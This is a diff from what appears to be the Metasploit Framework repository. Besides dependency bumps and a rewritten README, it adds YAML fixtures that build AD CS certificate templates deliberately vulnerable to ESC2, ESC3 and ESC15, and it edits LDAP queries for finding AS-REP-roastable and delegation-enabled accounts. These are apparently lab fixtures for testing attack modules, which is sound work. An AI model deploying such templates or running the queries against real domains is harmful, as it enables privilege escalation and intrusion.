windows_error (0.1.5)
|
||||
winrm (2.3.6)
|
||||
winrm (2.3.9)
|
||||
builder (>= 2.1.2)
|
||||
erubi (~> 1.8)
|
||||
gssapi (~> 1.2)
|
||||
gyoku (~> 1.0)
|
||||
httpclient (~> 2.2, >= 2.2.0.2)
|
||||
logging (>= 1.6.1, < 3.0)
|
||||
nori (~> 2.0)
|
||||
nori (~> 2.0, >= 2.7.1)
|
||||
rexml (~> 3.0)
|
||||
rubyntlm (~> 0.6.0, >= 0.6.3)
|
||||
xdr (3.0.3)
|
||||
activemodel (>= 4.2, < 8.0)
|
||||
activesupport (>= 4.2, < 8.0)
|
||||
xmlrpc (0.3.3)
|
||||
webrick
|
||||
yard (0.9.34)
|
||||
zeitwerk (2.6.12)
|
||||
yard (0.9.37)
|
||||
zeitwerk (2.6.18)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -571,4 +596,4 @@ DEPENDENCIES
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
2.1.4
|
||||
2.5.10
|
||||
|
||||
+128
-120
@@ -1,211 +1,219 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 7.0.8, MIT
|
||||
actionview, 7.0.8, MIT
|
||||
activemodel, 7.0.8, MIT
|
||||
activerecord, 7.0.8, MIT
|
||||
activesupport, 7.0.8, MIT
|
||||
addressable, 2.8.5, "Apache 2.0"
|
||||
Ascii85, 1.1.1, MIT
|
||||
aarch64, 2.1.0, "Apache 2.0"
|
||||
abbrev, 0.1.2, "ruby, Simplified BSD"
|
||||
actionpack, 7.0.8.6, MIT
|
||||
actionview, 7.0.8.6, MIT
|
||||
activemodel, 7.0.8.6, MIT
|
||||
activerecord, 7.0.8.6, MIT
|
||||
activesupport, 7.0.8.6, MIT
|
||||
addressable, 2.8.7, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
allure-rspec, 2.23.0, "Apache 2.0"
|
||||
allure-ruby-commons, 2.23.0, "Apache 2.0"
|
||||
arel-helpers, 2.14.0, MIT
|
||||
allure-rspec, 2.24.5, "Apache 2.0"
|
||||
allure-ruby-commons, 2.24.5, "Apache 2.0"
|
||||
arel-helpers, 2.15.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.834.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.185.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.411.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.34.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.87.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.72.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.136.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.158.0, "Apache 2.0"
|
||||
aws-sigv4, 1.6.0, "Apache 2.0"
|
||||
base64, 0.1.1, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.19, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
aws-eventstream, 1.3.0, "Apache 2.0"
|
||||
aws-partitions, 1.999.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.211.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.486.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.52.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.112.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.95.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.169.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.183.0, "Apache 2.0"
|
||||
aws-sigv4, 1.10.1, "Apache 2.0"
|
||||
base64, 0.2.0, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.20, MIT
|
||||
bcrypt_pbkdf, 1.1.1, MIT
|
||||
bigdecimal, 3.1.8, "ruby, Simplified BSD"
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.16.0, MIT
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
bootsnap, 1.18.4, MIT
|
||||
bson, 5.0.1, "Apache 2.0"
|
||||
builder, 3.3.0, MIT
|
||||
bundler, 2.5.10, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
chunky_png, 1.4.0, MIT
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.2.2, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
concurrent-ruby, 1.3.4, MIT
|
||||
cookiejar, 0.3.4, "Simplified BSD"
|
||||
crass, 1.0.6, MIT
|
||||
csv, 3.3.0, "ruby, Simplified BSD"
|
||||
daemons, 1.4.1, MIT
|
||||
date, 3.3.3, "ruby, Simplified BSD"
|
||||
date, 3.3.4, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.70.0, "Apache 2.0"
|
||||
docile, 1.4.0, MIT
|
||||
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
|
||||
dnsruby, 1.72.2, "Apache 2.0"
|
||||
docile, 1.4.1, MIT
|
||||
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
drb, 2.2.1, "ruby, Simplified BSD"
|
||||
ed25519, 1.3.0, MIT
|
||||
elftools, 1.3.1, MIT
|
||||
em-http-request, 1.1.7, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubi, 1.12.0, MIT
|
||||
em-socksify, 0.3.3, MIT
|
||||
erubi, 1.13.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 3.2.1, MIT
|
||||
factory_bot, 6.5.0, MIT
|
||||
factory_bot_rails, 6.4.4, MIT
|
||||
faker, 3.5.1, MIT
|
||||
faraday, 2.7.11, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.2.0, MIT
|
||||
faraday-retry, 2.2.1, MIT
|
||||
faye-websocket, 0.11.3, "Apache 2.0"
|
||||
ffi, 1.16.3, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
getoptlong, 0.2.1, "ruby, Simplified BSD"
|
||||
gssapi, 1.3.1, MIT
|
||||
gyoku, 1.4.0, MIT
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
hrr_rb_ssh, 0.4.2, "Apache 2.0"
|
||||
hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
http-cookie, 1.0.5, MIT
|
||||
http-cookie, 1.0.7, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.14.1, MIT
|
||||
io-console, 0.6.0, "ruby, Simplified BSD"
|
||||
i18n, 1.14.6, MIT
|
||||
io-console, 0.7.2, "ruby, Simplified BSD"
|
||||
irb, 1.7.4, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.3, ruby
|
||||
json, 2.7.5, ruby
|
||||
language_server-protocol, 3.17.0.3, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.1, MIT
|
||||
loofah, 2.21.3, MIT
|
||||
logger, 1.6.1, "ruby, Simplified BSD"
|
||||
logging, 2.4.0, MIT
|
||||
loofah, 2.23.1, MIT
|
||||
macaddr, 1.7.2, ruby
|
||||
memory_profiler, 1.0.1, MIT
|
||||
memory_profiler, 1.1.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.2, "New BSD"
|
||||
metasploit-credential, 6.0.6, "New BSD"
|
||||
metasploit-framework, 6.3.45, "New BSD"
|
||||
metasploit-concern, 5.0.3, "New BSD"
|
||||
metasploit-credential, 6.0.11, "New BSD"
|
||||
metasploit-framework, 6.4.36, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.159, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.3, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mime-types, 3.5.1, MIT
|
||||
mime-types-data, 3.2023.1003, MIT
|
||||
mini_portile2, 2.8.4, MIT
|
||||
minitest, 5.20.0, MIT
|
||||
metasploit-payloads, 2.0.187, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.5, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.1.0, MIT
|
||||
mime-types, 3.6.0, MIT
|
||||
mime-types-data, 3.2024.1001, MIT
|
||||
mini_portile2, 2.8.7, MIT
|
||||
minitest, 5.25.1, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 3.0.0, MIT
|
||||
mustermann, 3.0.3, MIT
|
||||
mutex_m, 0.2.0, "ruby, Simplified BSD"
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-imap, 0.4.0, "ruby, Simplified BSD"
|
||||
net-ldap, 0.18.0, MIT
|
||||
net-protocol, 0.2.1, "ruby, Simplified BSD"
|
||||
net-smtp, 0.4.0, "ruby, Simplified BSD"
|
||||
net-ssh, 7.2.0, MIT
|
||||
net-imap, 0.5.0, "ruby, Simplified BSD"
|
||||
net-ldap, 0.19.0, MIT
|
||||
net-protocol, 0.2.2, "ruby, Simplified BSD"
|
||||
net-sftp, 4.0.0, MIT
|
||||
net-smtp, 0.5.0, "ruby, Simplified BSD"
|
||||
net-ssh, 7.3.0, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.9, MIT
|
||||
nokogiri, 1.14.5, MIT
|
||||
nori, 2.6.0, MIT
|
||||
nio4r, 2.7.4, "MIT, Simplified BSD"
|
||||
nokogiri, 1.16.7, MIT
|
||||
nori, 2.7.1, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.23.0, MIT
|
||||
parser, 3.2.2.4, MIT
|
||||
parallel, 1.26.3, MIT
|
||||
parser, 3.3.5.0, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.11.0, MIT
|
||||
pg, 1.5.4, "Simplified BSD"
|
||||
pcaprub, 0.13.3, LGPL-2.1
|
||||
pdf-reader, 2.12.0, MIT
|
||||
pg, 1.5.9, "Simplified BSD"
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 5.0.3, MIT
|
||||
puma, 6.4.0, "New BSD"
|
||||
racc, 1.7.1, "ruby, Simplified BSD"
|
||||
rack, 2.2.8, MIT
|
||||
rack-protection, 3.1.0, MIT
|
||||
public_suffix, 6.0.1, MIT
|
||||
puma, 6.4.3, "New BSD"
|
||||
racc, 1.8.1, "ruby, Simplified BSD"
|
||||
rack, 2.2.10, MIT
|
||||
rack-protection, 3.2.0, MIT
|
||||
rack-test, 2.1.0, MIT
|
||||
rails-dom-testing, 2.2.0, MIT
|
||||
rails-html-sanitizer, 1.6.0, MIT
|
||||
railties, 7.0.8, MIT
|
||||
railties, 7.0.8.6, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rasn1, 0.12.1, MIT
|
||||
rake, 13.2.1, MIT
|
||||
rasn1, 0.13.0, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.1.2, unknown
|
||||
recog, 3.1.11, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.8.1, MIT
|
||||
reline, 0.3.8, ruby
|
||||
regexp_parser, 2.9.2, MIT
|
||||
reline, 0.5.10, ruby
|
||||
require_all, 3.0.0, MIT
|
||||
rex-arch, 0.1.15, "New BSD"
|
||||
rex-arch, 0.1.16, "New BSD"
|
||||
rex-bin_tools, 0.1.9, "New BSD"
|
||||
rex-core, 0.1.31, "New BSD"
|
||||
rex-core, 0.1.32, "New BSD"
|
||||
rex-encoder, 0.1.7, "New BSD"
|
||||
rex-exploitation, 0.1.39, "New BSD"
|
||||
rex-exploitation, 0.1.40, "New BSD"
|
||||
rex-java, 0.1.7, "New BSD"
|
||||
rex-mime, 0.1.8, "New BSD"
|
||||
rex-nop, 0.1.3, "New BSD"
|
||||
rex-ole, 0.1.8, "New BSD"
|
||||
rex-powershell, 0.1.99, "New BSD"
|
||||
rex-random_identifier, 0.1.11, "New BSD"
|
||||
rex-powershell, 0.1.100, "New BSD"
|
||||
rex-random_identifier, 0.1.12, "New BSD"
|
||||
rex-registry, 0.1.5, "New BSD"
|
||||
rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.54, "New BSD"
|
||||
rex-socket, 0.1.57, "New BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.53, "New BSD"
|
||||
rex-text, 0.2.59, "New BSD"
|
||||
rex-zip, 0.1.5, "New BSD"
|
||||
rexml, 3.2.6, "Simplified BSD"
|
||||
rexml, 3.3.9, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.2, MIT
|
||||
rspec-expectations, 3.12.3, MIT
|
||||
rspec-mocks, 3.12.6, MIT
|
||||
rspec-rails, 6.0.3, MIT
|
||||
rspec, 3.13.0, MIT
|
||||
rspec-core, 3.13.2, MIT
|
||||
rspec-expectations, 3.13.3, MIT
|
||||
rspec-mocks, 3.13.2, MIT
|
||||
rspec-rails, 7.0.1, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.12.1, MIT
|
||||
rubocop, 1.56.4, MIT
|
||||
rubocop-ast, 1.29.0, MIT
|
||||
ruby-macho, 4.0.0, MIT
|
||||
rspec-support, 3.13.1, MIT
|
||||
rubocop, 1.67.0, MIT
|
||||
rubocop-ast, 1.33.0, MIT
|
||||
ruby-macho, 4.1.0, MIT
|
||||
ruby-mysql, 4.1.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.2.6, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
ruby_smb, 3.3.10, "New BSD"
|
||||
rubyntlm, 0.6.5, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 3.1.0, MIT
|
||||
sqlite3, 1.6.6, "New BSD"
|
||||
simplecov-html, 0.13.1, MIT
|
||||
simpleidn, 0.2.3, MIT
|
||||
sinatra, 3.2.0, MIT
|
||||
sqlite3, 1.7.3, "New BSD"
|
||||
sshkey, 3.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
systemu, 2.6.5, ruby
|
||||
test-prof, 1.2.3, MIT
|
||||
test-prof, 1.4.2, MIT
|
||||
thin, 1.8.2, "GPL-2.0+, ruby"
|
||||
thor, 1.2.2, MIT
|
||||
tilt, 2.3.0, MIT
|
||||
timecop, 0.9.8, MIT
|
||||
timeout, 0.4.0, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
thor, 1.3.2, MIT
|
||||
tilt, 2.4.0, MIT
|
||||
timecop, 0.9.10, MIT
|
||||
timeout, 0.4.1, "ruby, Simplified BSD"
|
||||
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2023.3, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.5.0, MIT
|
||||
tzinfo-data, 1.2024.2, MIT
|
||||
unicode-display_width, 2.6.0, MIT
|
||||
unix-crypt, 1.3.1, 0BSD
|
||||
uuid, 2.3.9, MIT
|
||||
warden, 1.2.9, MIT
|
||||
webrick, 1.8.1, "ruby, Simplified BSD"
|
||||
webrick, 1.8.2, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.6, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
win32api, 0.1.0, unknown
|
||||
windows_error, 0.1.5, BSD
|
||||
winrm, 2.3.6, "Apache 2.0"
|
||||
winrm, 2.3.9, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.3, "ruby, Simplified BSD"
|
||||
yard, 0.9.34, MIT
|
||||
zeitwerk, 2.6.12, MIT
|
||||
yard, 0.9.37, MIT
|
||||
zeitwerk, 2.6.18, MIT
|
||||
|
||||
@@ -1,54 +1,45 @@
|
||||
Metasploit [](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
[COPYING](COPYING) for more details.
|
||||
# Metasploit Framework
|
||||
|
||||
The latest version of this software is available from: https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
|
||||
The Metasploit Framework is an open-source tool released under a BSD-style license. For detailed licensing information, refer to the `COPYING` file.
|
||||
|
||||
You can find documentation on Metasploit and how to use it at:
|
||||
https://docs.metasploit.com/
|
||||
## Latest Version
|
||||
Access the latest version of Metasploit from the [Nightly Installers](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html) page.
|
||||
|
||||
Information about setting up a development environment can be found at:
|
||||
https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html
|
||||
## Documentation
|
||||
Comprehensive documentation, including usage guides, is available at [Metasploit Docs](https://docs.metasploit.com/).
|
||||
|
||||
Our bug and feature request tracker can be found at:
|
||||
https://github.com/rapid7/metasploit-framework/issues
|
||||
## Development Environment
|
||||
To set up a development environment, visit the [Development Setup Guide](https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html).
|
||||
|
||||
New bugs and feature requests should be directed to:
|
||||
https://r-7.co/MSF-BUGv1
|
||||
## Bug and Feature Requests
|
||||
Submit bugs and feature requests via the [GitHub Issues](https://github.com/rapid7/metasploit-framework/issues) tracker. New submissions can be made through the [MSF-BUGv1 form](https://github.com/rapid7/metasploit-framework/issues/new/choose).
|
||||
|
||||
API documentation for writing modules can be found at:
|
||||
https://docs.metasploit.com/api/
|
||||
## API Documentation
|
||||
For information on writing modules, refer to the [API Documentation](https://docs.metasploit.com/api/).
|
||||
|
||||
Questions and suggestions can be sent to: Freenode IRC channel or e-mail the metasploit-hackers mailing list
|
||||
## Support and Communication
|
||||
For questions and suggestions, join the Freenode IRC channel or contact the metasploit-hackers mailing list.
|
||||
|
||||
Installing
|
||||
--
|
||||
## Installing Metasploit
|
||||
|
||||
Generally, you should use [the free installer](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html),
|
||||
which contains all of the dependencies and will get you up and running with a
|
||||
few clicks. See the [Dev Environment Setup](https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html) if
|
||||
you'd like to deal with dependencies on your own.
|
||||
### Recommended Installation
|
||||
|
||||
Using Metasploit
|
||||
--
|
||||
Metasploit can do all sorts of things. The first thing you'll want to do
|
||||
is start `msfconsole`, but after that, you'll probably be best served by
|
||||
reading [Metasploit Unleashed][unleashed], the [great community
|
||||
resources](https://metasploit.github.io), or take a look at the
|
||||
[Using Metasploit](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
|
||||
page on the documentation website.
|
||||
We recommend installation with the [official Metasploit installers](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html#installing-metasploit-on-linux--macos) on Linux or macOS. Metasploit is also pre-installed with Kali.
|
||||
|
||||
Contributing
|
||||
--
|
||||
See the [Dev Environment Setup][devenv] guide on GitHub, which will
|
||||
walk you through the whole process from installing all the
|
||||
dependencies, to cloning the repository, and finally to submitting a
|
||||
pull request. For slightly more information, see
|
||||
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||
For a manual setup, consult the [Dev Environment Setup](https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html) guide.
|
||||
|
||||
## Using Metasploit
|
||||
|
||||
[devenv]: https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html "Metasploit Development Environment Setup"
|
||||
[unleashed]: https://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
|
||||
To get started with Metasploit:
|
||||
|
||||
1. **Start `msfconsole`:** This is the primary interface for interacting with Metasploit.
|
||||
2. **Explore Resources:**
|
||||
- Visit the [Using Metasploit](https://docs.metasploit.com/docs/using-metasploit/getting-started/index.html) section of the documentation.
|
||||
|
||||
## Contributing
|
||||
|
||||
To contribute to Metasploit:
|
||||
|
||||
1. **Setup Development Environment:** Follow the instructions in the [Development Setup Guide](https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html) on GitHub.
|
||||
2. **Clone the Repository:** Obtain the source code from the official repository.
|
||||
3. **Submit a Pull Request:** After making changes, submit a pull request for review. Additional details can be found in the [Contributing Guide](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC15 (subject name supplied in
|
||||
# the request and schema version is 1). Fields are based on the SubCA template.
|
||||
# For field descriptions, see:
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: -1
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExtendedKeyUsage:
|
||||
# Server Authentication OID (alter the EKUs via ESC15)
|
||||
- 1.3.6.1.5.5.7.3.1
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
||||
msPKI-Certificate-Name-Flag: 1
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
@@ -1,5 +1,5 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
|
||||
# Creates a template that will be vulnerable to ESC1 (subject name supplied in
|
||||
# the request). Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC2 (any purpose EKU).
|
||||
# Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: 0
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExtendedKeyUsage:
|
||||
# Any Purpose OID
|
||||
- 2.5.29.37.0
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
|
||||
msPKI-Certificate-Name-Flag: 0x82000000
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
@@ -0,0 +1,30 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC3 (certificate request agent EKU).
|
||||
# Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: 0
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExtendedKeyUsage:
|
||||
# Certificate Request Agent OID
|
||||
- 1.3.6.1.4.1.311.20.2.1
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
|
||||
msPKI-Certificate-Name-Flag: 0x82000000
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
@@ -135,7 +135,7 @@ queries:
|
||||
- https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/
|
||||
- https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py
|
||||
- action: ENUM_DNS_ZONES
|
||||
description: 'Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This is needed as without this BASEDN prefix we often miss certain entries.'
|
||||
description: 'Dump all known DNS zones using the dnsZone object class under the DC DomainDnsZones. Without A BASEDN prefix you can miss certain entries.'
|
||||
filter: '(objectClass=dnsZone)'
|
||||
base_dn_prefix: 'DC=DomainDnsZones'
|
||||
attributes:
|
||||
@@ -224,6 +224,7 @@ queries:
|
||||
- adminCount
|
||||
- managedBy
|
||||
- groupAttributes
|
||||
- objectSID
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- action: ENUM_GROUP_POLICY_OBJECTS
|
||||
@@ -292,7 +293,7 @@ queries:
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- action: ENUM_UNCONSTRAINED_DELEGATION
|
||||
description: 'Dump info about all known objects that allow uncontrained delegation.'
|
||||
description: 'Dump info about all known objects that allow unconstrained delegation.'
|
||||
filter: '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
|
||||
attributes:
|
||||
- cn
|
||||
@@ -325,7 +326,7 @@ queries:
|
||||
references:
|
||||
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
|
||||
- action: ENUM_USER_ASREP_ROASTABLE
|
||||
description: 'Dump info about all users who are configured not to require kerberos pre-authentication and are therefore AS-REP roastable.'
|
||||
description: 'Dump all users who are configured not to require kerberos pre-authentication, i.e. AS-REP roastable.'
|
||||
filter: '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
|
||||
attributes:
|
||||
- cn
|
||||
